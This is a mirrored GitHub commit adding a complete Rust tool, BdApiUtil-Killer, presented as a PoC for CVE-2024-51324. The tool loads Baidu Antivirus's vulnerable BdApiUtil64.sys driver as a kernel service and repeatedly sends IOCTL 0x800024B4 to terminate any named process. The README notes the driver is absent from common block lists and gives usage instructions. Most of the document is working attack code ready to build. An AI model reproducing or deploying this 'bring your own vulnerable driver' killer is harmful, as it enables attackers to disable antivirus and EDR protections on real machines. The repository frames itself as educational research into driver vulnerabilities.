mirror of
https://github.com/BlackSnufkin/BYOVD
synced 2026-06-06 15:24:26 +00:00
CVE-2024-51324
This commit is contained in:
@@ -0,0 +1 @@
|
||||
/target
|
||||
Binary file not shown.
Generated
+159
@@ -0,0 +1,159 @@
|
||||
# This file is automatically @generated by Cargo.
|
||||
# It is not intended for manual editing.
|
||||
version = 3
|
||||
|
||||
[[package]]
|
||||
name = "BdApiUtil-Killer"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"clap",
|
||||
"ctrlc",
|
||||
"winapi",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "bitflags"
|
||||
version = "2.9.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "1b8e56985ec62d17e9c1001dc89c88ecd7dc08e47eba5ec7c29c7b5eeecde967"
|
||||
|
||||
[[package]]
|
||||
name = "cfg-if"
|
||||
version = "1.0.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
|
||||
|
||||
[[package]]
|
||||
name = "cfg_aliases"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "613afe47fcd5fac7ccf1db93babcb082c5994d996f20b8b159f2ad1658eb5724"
|
||||
|
||||
[[package]]
|
||||
name = "clap"
|
||||
version = "0.5.14"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "355a56d87036876f7698c15856bf7c69850e5738f6b51793de9e022e26778f0c"
|
||||
|
||||
[[package]]
|
||||
name = "ctrlc"
|
||||
version = "3.4.7"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "46f93780a459b7d656ef7f071fe699c4d3d2cb201c4b24d085b6ddc505276e73"
|
||||
dependencies = [
|
||||
"nix",
|
||||
"windows-sys",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "libc"
|
||||
version = "0.2.172"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "d750af042f7ef4f724306de029d18836c26c1765a54a6a3f094cbd23a7267ffa"
|
||||
|
||||
[[package]]
|
||||
name = "nix"
|
||||
version = "0.30.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "74523f3a35e05aba87a1d978330aef40f67b0304ac79c1c00b294c9830543db6"
|
||||
dependencies = [
|
||||
"bitflags",
|
||||
"cfg-if",
|
||||
"cfg_aliases",
|
||||
"libc",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "winapi"
|
||||
version = "0.3.9"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
|
||||
dependencies = [
|
||||
"winapi-i686-pc-windows-gnu",
|
||||
"winapi-x86_64-pc-windows-gnu",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "winapi-i686-pc-windows-gnu"
|
||||
version = "0.4.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
|
||||
|
||||
[[package]]
|
||||
name = "winapi-x86_64-pc-windows-gnu"
|
||||
version = "0.4.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
|
||||
|
||||
[[package]]
|
||||
name = "windows-sys"
|
||||
version = "0.59.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b"
|
||||
dependencies = [
|
||||
"windows-targets",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-targets"
|
||||
version = "0.52.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973"
|
||||
dependencies = [
|
||||
"windows_aarch64_gnullvm",
|
||||
"windows_aarch64_msvc",
|
||||
"windows_i686_gnu",
|
||||
"windows_i686_gnullvm",
|
||||
"windows_i686_msvc",
|
||||
"windows_x86_64_gnu",
|
||||
"windows_x86_64_gnullvm",
|
||||
"windows_x86_64_msvc",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows_aarch64_gnullvm"
|
||||
version = "0.52.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3"
|
||||
|
||||
[[package]]
|
||||
name = "windows_aarch64_msvc"
|
||||
version = "0.52.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469"
|
||||
|
||||
[[package]]
|
||||
name = "windows_i686_gnu"
|
||||
version = "0.52.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b"
|
||||
|
||||
[[package]]
|
||||
name = "windows_i686_gnullvm"
|
||||
version = "0.52.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66"
|
||||
|
||||
[[package]]
|
||||
name = "windows_i686_msvc"
|
||||
version = "0.52.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66"
|
||||
|
||||
[[package]]
|
||||
name = "windows_x86_64_gnu"
|
||||
version = "0.52.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78"
|
||||
|
||||
[[package]]
|
||||
name = "windows_x86_64_gnullvm"
|
||||
version = "0.52.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d"
|
||||
|
||||
[[package]]
|
||||
name = "windows_x86_64_msvc"
|
||||
version = "0.52.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec"
|
||||
@@ -0,0 +1,15 @@
|
||||
[package]
|
||||
name = "BdApiUtil-Killer"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[profile.release]
|
||||
opt-level = "z" # Optimize for size.
|
||||
lto = true # Enable Link Time Optimization
|
||||
codegen-units = 1 # Reduce number of codegen units to increase optimizations.
|
||||
strip = true # Automatically strip symbols from the binary.
|
||||
|
||||
[dependencies]
|
||||
winapi = { version = "0.3.9", features = ["minwindef", "winnt", "minwinbase", "winsvc", "handleapi", "fileapi", "ioapiset", "processthreadsapi", "winerror", "processenv", "tlhelp32"] }
|
||||
clap = "0.5.0"
|
||||
ctrlc = "3.3"
|
||||
@@ -0,0 +1,37 @@
|
||||
# BdApiUtil-Killer
|
||||
- PoC for CVE-2024-51324 vulnerability in BdApiUtil driver from Baidu Antivirus
|
||||
- BdApiUtil64.sys SHA256: `47EC51B5F0EDE1E70BD66F3F0152F9EB536D534565DBB7FCC3A05F542DBE4428`
|
||||
- The driver not on the list of [LolDrivers](https://www.loldrivers.io/) and not on the [Microsoft](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/design/microsoft-recommended-driver-block-rules) recommended driver block rules (10/06/2025)
|
||||
|
||||
|
||||
Usage:
|
||||
|
||||
To use BdApiUtil-Killer, you need to have the BdApiUtil64.sys driver located at the same location as the executable
|
||||
|
||||
you will need to give it a process name
|
||||
|
||||
(the driver name must be BdApiUtil64.sys so rename if needed)
|
||||
|
||||
```text
|
||||
|
||||
PS C:\Users\User\Desktop> .\BdApiUtil-Killer.exe -h
|
||||
BdApiUtil-Killer.exe 5.0
|
||||
BlackSnufkin
|
||||
Kills a process by name using a BYOVD
|
||||
|
||||
USAGE:
|
||||
BdApiUtil-Killer.exe [FLAGS] [OPTIONS]
|
||||
|
||||
FLAGS:
|
||||
-h, --help Prints help information
|
||||
-v, --version Prints version information
|
||||
|
||||
OPTIONS:
|
||||
-n, --name=process_name
|
||||
```
|
||||
|
||||
|
||||
Windows 10 Pro (Up to date)
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,298 @@
|
||||
#![allow(non_snake_case, non_camel_case_types, dead_code)]
|
||||
|
||||
use clap::{App, Arg};
|
||||
use std::ffi::{CString, OsStr, CStr};
|
||||
use std::mem;
|
||||
use std::os::windows::ffi::OsStrExt;
|
||||
use std::ptr::null_mut;
|
||||
use std::sync::{Arc, atomic::{AtomicBool, Ordering}};
|
||||
use std::thread::sleep;
|
||||
use std::time::Duration;
|
||||
use winapi::shared::{minwindef::{DWORD, LPVOID}, ntdef::NULL, winerror::NO_ERROR};
|
||||
use winapi::um::{
|
||||
fileapi::{CreateFileW, OPEN_EXISTING},
|
||||
handleapi::{CloseHandle, INVALID_HANDLE_VALUE},
|
||||
ioapiset::DeviceIoControl,
|
||||
processenv::GetCurrentDirectoryW,
|
||||
tlhelp32::{CreateToolhelp32Snapshot, Process32First, Process32Next, PROCESSENTRY32, TH32CS_SNAPPROCESS},
|
||||
winnt::{SERVICE_AUTO_START, HANDLE, SERVICE_ERROR_NORMAL, SERVICE_KERNEL_DRIVER},
|
||||
winsvc::{CloseServiceHandle, ControlService, SERVICE_STOPPED, CreateServiceW, DeleteService,
|
||||
OpenSCManagerW, OpenServiceW, SC_HANDLE, SC_MANAGER_CREATE_SERVICE, SERVICE_ALL_ACCESS,
|
||||
SERVICE_CONTROL_STOP, SERVICE_STATUS, StartServiceW},
|
||||
};
|
||||
|
||||
type Result<T> = std::result::Result<T, Box<dyn std::error::Error>>;
|
||||
|
||||
// Driver configuration trait
|
||||
trait DriverConfig {
|
||||
const NAME: &'static str;
|
||||
const PATH: &'static str;
|
||||
const DEVICE: &'static str;
|
||||
const IOCTL_CODE: DWORD;
|
||||
}
|
||||
|
||||
// BdApiUtil driver configuration
|
||||
struct BdApiUtilDriver;
|
||||
|
||||
impl DriverConfig for BdApiUtilDriver {
|
||||
const NAME: &'static str = "BdApiUtil64";
|
||||
const PATH: &'static str = "\\BdApiUtil64.sys";
|
||||
const DEVICE: &'static str = "\\\\.\\BdApiUtil";
|
||||
const IOCTL_CODE: DWORD = 0x800024B4;
|
||||
}
|
||||
|
||||
// RAII wrapper for service handles
|
||||
struct ServiceHandle(SC_HANDLE);
|
||||
|
||||
impl ServiceHandle {
|
||||
fn new(handle: SC_HANDLE) -> Option<Self> {
|
||||
if handle.is_null() { None } else { Some(Self(handle)) }
|
||||
}
|
||||
|
||||
fn handle(&self) -> SC_HANDLE { self.0 }
|
||||
}
|
||||
|
||||
impl Drop for ServiceHandle {
|
||||
fn drop(&mut self) {
|
||||
unsafe { CloseServiceHandle(self.0); }
|
||||
}
|
||||
}
|
||||
|
||||
// RAII wrapper for file handles
|
||||
struct FileHandle(HANDLE);
|
||||
|
||||
impl FileHandle {
|
||||
fn new(handle: HANDLE) -> Option<Self> {
|
||||
if handle == INVALID_HANDLE_VALUE { None } else { Some(Self(handle)) }
|
||||
}
|
||||
|
||||
fn handle(&self) -> HANDLE { self.0 }
|
||||
}
|
||||
|
||||
impl Drop for FileHandle {
|
||||
fn drop(&mut self) {
|
||||
unsafe { CloseHandle(self.0); }
|
||||
}
|
||||
}
|
||||
|
||||
// Main BYOVD structure
|
||||
struct BYOVD<D: DriverConfig> {
|
||||
_sc_manager: ServiceHandle,
|
||||
service: ServiceHandle,
|
||||
_phantom: std::marker::PhantomData<D>,
|
||||
}
|
||||
|
||||
impl<D: DriverConfig> BYOVD<D> {
|
||||
fn new() -> Result<Self> {
|
||||
let sc_manager = ServiceHandle::new(unsafe {
|
||||
OpenSCManagerW(null_mut(), null_mut(), SC_MANAGER_CREATE_SERVICE)
|
||||
}).ok_or("Failed to open service manager")?;
|
||||
|
||||
let service = match ServiceHandle::new(unsafe {
|
||||
OpenServiceW(sc_manager.handle(), to_wstring(D::NAME).as_ptr(), SERVICE_ALL_ACCESS)
|
||||
}) {
|
||||
Some(service) => {
|
||||
println!("[!] Service already exists");
|
||||
service
|
||||
}
|
||||
None => {
|
||||
println!("[!] Creating new service");
|
||||
let current_dir = get_current_dir()?;
|
||||
let file_path = format!("{}{}", current_dir, D::PATH);
|
||||
|
||||
ServiceHandle::new(unsafe {
|
||||
CreateServiceW(
|
||||
sc_manager.handle(),
|
||||
to_wstring(D::NAME).as_ptr(),
|
||||
to_wstring(D::NAME).as_ptr(),
|
||||
SERVICE_ALL_ACCESS,
|
||||
SERVICE_KERNEL_DRIVER,
|
||||
SERVICE_AUTO_START,
|
||||
SERVICE_ERROR_NORMAL,
|
||||
to_wstring(&file_path).as_ptr(),
|
||||
null_mut(), null_mut(), null_mut(), null_mut(), null_mut(),
|
||||
)
|
||||
}).ok_or("Failed to create service")?
|
||||
}
|
||||
};
|
||||
|
||||
Ok(Self {
|
||||
_sc_manager: sc_manager,
|
||||
service,
|
||||
_phantom: std::marker::PhantomData,
|
||||
})
|
||||
}
|
||||
|
||||
fn start(&self) -> Result<()> {
|
||||
let success = unsafe {
|
||||
StartServiceW(self.service.handle(), 0, null_mut())
|
||||
};
|
||||
|
||||
if success == 0 {
|
||||
return Err("Failed to start service".into());
|
||||
}
|
||||
|
||||
println!("[!] Driver started");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn stop(&self) -> Result<()> {
|
||||
let mut status = SERVICE_STATUS {
|
||||
dwServiceType: 0,
|
||||
dwCurrentState: SERVICE_STOPPED,
|
||||
dwControlsAccepted: 0,
|
||||
dwWin32ExitCode: NO_ERROR,
|
||||
dwServiceSpecificExitCode: 0,
|
||||
dwCheckPoint: 0,
|
||||
dwWaitHint: 0,
|
||||
};
|
||||
|
||||
unsafe {
|
||||
ControlService(self.service.handle(), SERVICE_CONTROL_STOP, &mut status);
|
||||
if DeleteService(self.service.handle()) != 0 {
|
||||
println!("[!] Service marked for deletion");
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn kill_process(&self, pid: DWORD) -> Result<()> {
|
||||
let driver_handle = FileHandle::new(unsafe {
|
||||
CreateFileW(
|
||||
to_wstring(D::DEVICE).as_ptr(),
|
||||
SERVICE_ALL_ACCESS,
|
||||
0,
|
||||
null_mut(),
|
||||
OPEN_EXISTING,
|
||||
0,
|
||||
null_mut(),
|
||||
)
|
||||
}).ok_or("Failed to open driver device")?;
|
||||
|
||||
let mut bytes_returned = 0;
|
||||
let mut output_buffer: DWORD = 0;
|
||||
|
||||
let success = unsafe {
|
||||
DeviceIoControl(
|
||||
driver_handle.handle(),
|
||||
D::IOCTL_CODE,
|
||||
&pid as *const _ as LPVOID,
|
||||
mem::size_of::<DWORD>() as DWORD,
|
||||
&mut output_buffer as *mut _ as LPVOID,
|
||||
mem::size_of::<DWORD>() as DWORD,
|
||||
&mut bytes_returned,
|
||||
null_mut(),
|
||||
)
|
||||
};
|
||||
|
||||
if success == 0 {
|
||||
return Err("IOCTL call failed".into());
|
||||
}
|
||||
|
||||
println!("[!] Process {} terminated", pid);
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
// Utility functions
|
||||
fn to_wstring(s: &str) -> Vec<u16> {
|
||||
OsStr::new(s).encode_wide().chain(Some(0)).collect()
|
||||
}
|
||||
|
||||
fn get_current_dir() -> Result<String> {
|
||||
let mut buf = vec![0u16; 260];
|
||||
let len = unsafe { GetCurrentDirectoryW(buf.len() as u32, buf.as_mut_ptr()) };
|
||||
|
||||
if len == 0 {
|
||||
return Err("Failed to get current directory".into());
|
||||
}
|
||||
|
||||
buf.truncate(len as usize);
|
||||
Ok(String::from_utf16_lossy(&buf))
|
||||
}
|
||||
|
||||
fn get_pid_by_name(process_name: &str) -> Option<DWORD> {
|
||||
let snapshot = FileHandle::new(unsafe {
|
||||
CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
|
||||
})?;
|
||||
|
||||
let mut entry: PROCESSENTRY32 = unsafe { mem::zeroed() };
|
||||
entry.dwSize = mem::size_of::<PROCESSENTRY32>() as u32;
|
||||
|
||||
if unsafe { Process32First(snapshot.handle(), &mut entry) } == 0 {
|
||||
return None;
|
||||
}
|
||||
|
||||
loop {
|
||||
let current_name = unsafe { CStr::from_ptr(entry.szExeFile.as_ptr()) }
|
||||
.to_string_lossy()
|
||||
.to_lowercase();
|
||||
|
||||
if current_name == process_name.to_lowercase() {
|
||||
return Some(entry.th32ProcessID);
|
||||
}
|
||||
|
||||
if unsafe { Process32Next(snapshot.handle(), &mut entry) } == 0 {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
None
|
||||
}
|
||||
|
||||
fn main() -> Result<()> {
|
||||
let matches = App::new("BYOVD Process Killer")
|
||||
.version("5.0")
|
||||
.author("BlackSnufkin")
|
||||
.about("Kills processes using BYOVD technique")
|
||||
.arg(Arg::new("process_name")
|
||||
.short("n")
|
||||
.long("name")
|
||||
.takes_value(true)
|
||||
.required(true)
|
||||
.help("Target process name"))
|
||||
.get_matches();
|
||||
|
||||
let process_name = matches.value_of("process_name").unwrap();
|
||||
|
||||
// Initialize driver
|
||||
let driver = BYOVD::<BdApiUtilDriver>::new()?;
|
||||
println!("[!] Driver initialized");
|
||||
|
||||
// Start driver
|
||||
if let Err(e) = driver.start() {
|
||||
println!("[!] Driver may already be running: {}", e);
|
||||
}
|
||||
|
||||
// Setup Ctrl+C handler
|
||||
let running = Arc::new(AtomicBool::new(true));
|
||||
let running_clone = running.clone();
|
||||
|
||||
ctrlc::set_handler(move || {
|
||||
println!("\n[!] Shutting down...");
|
||||
running_clone.store(false, Ordering::SeqCst);
|
||||
})?;
|
||||
|
||||
println!("[!] Monitoring for process: {} (Press Ctrl+C to stop)", process_name);
|
||||
|
||||
// Main monitoring loop
|
||||
while running.load(Ordering::SeqCst) {
|
||||
if let Some(pid) = get_pid_by_name(process_name) {
|
||||
match driver.kill_process(pid) {
|
||||
Ok(_) => println!("[!] Successfully killed PID: {}", pid),
|
||||
Err(e) => eprintln!("[X] Failed to kill PID {}: {}", pid, e),
|
||||
}
|
||||
}
|
||||
|
||||
sleep(Duration::from_millis(700));
|
||||
}
|
||||
|
||||
// Cleanup
|
||||
if let Err(e) = driver.stop() {
|
||||
eprintln!("[X] Failed to stop driver: {}", e);
|
||||
} else {
|
||||
println!("[!] Driver stopped");
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -20,8 +20,10 @@ This repository contains several PoCs developed for educational purposes, helpin
|
||||
Below are the drivers and their respective PoCs available in this repository:
|
||||
|
||||
- **[Ksapi64-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/Ksapi64-Killer)**: Targets `ksapi64.sys` and `ksapi64_del.sys`.
|
||||
- **[TfSysMon-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/TfSysMon-Killer)**: Targets `sysmon.sys` from ThreatFire System Monitor.
|
||||
- **[Viragt64-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/Viragt64-Killer)**: Targets `viragt64.sys` from Tg Soft.
|
||||
- **[TfSysMon-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/TfSysMon-Killer)**: Targets `sysmon.sys` from `ThreatFire System Monitor`.
|
||||
- **[Viragt64-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/Viragt64-Killer)**: Targets `viragt64.sys` from `Tg Soft`.
|
||||
- **[BdApiUtil-Killer](https://github.com/BlackSnufkin/BYOVD/tree/main/BdApiUtil-Killer)**: Targets `BdApiUtil64.sys` from `Baidu AntiVirus`.
|
||||
|
||||
|
||||
## 🔬 Complete Driver Reverse Engineering Process (x64)
|
||||
|
||||
|
||||
Reference in New Issue
Block a user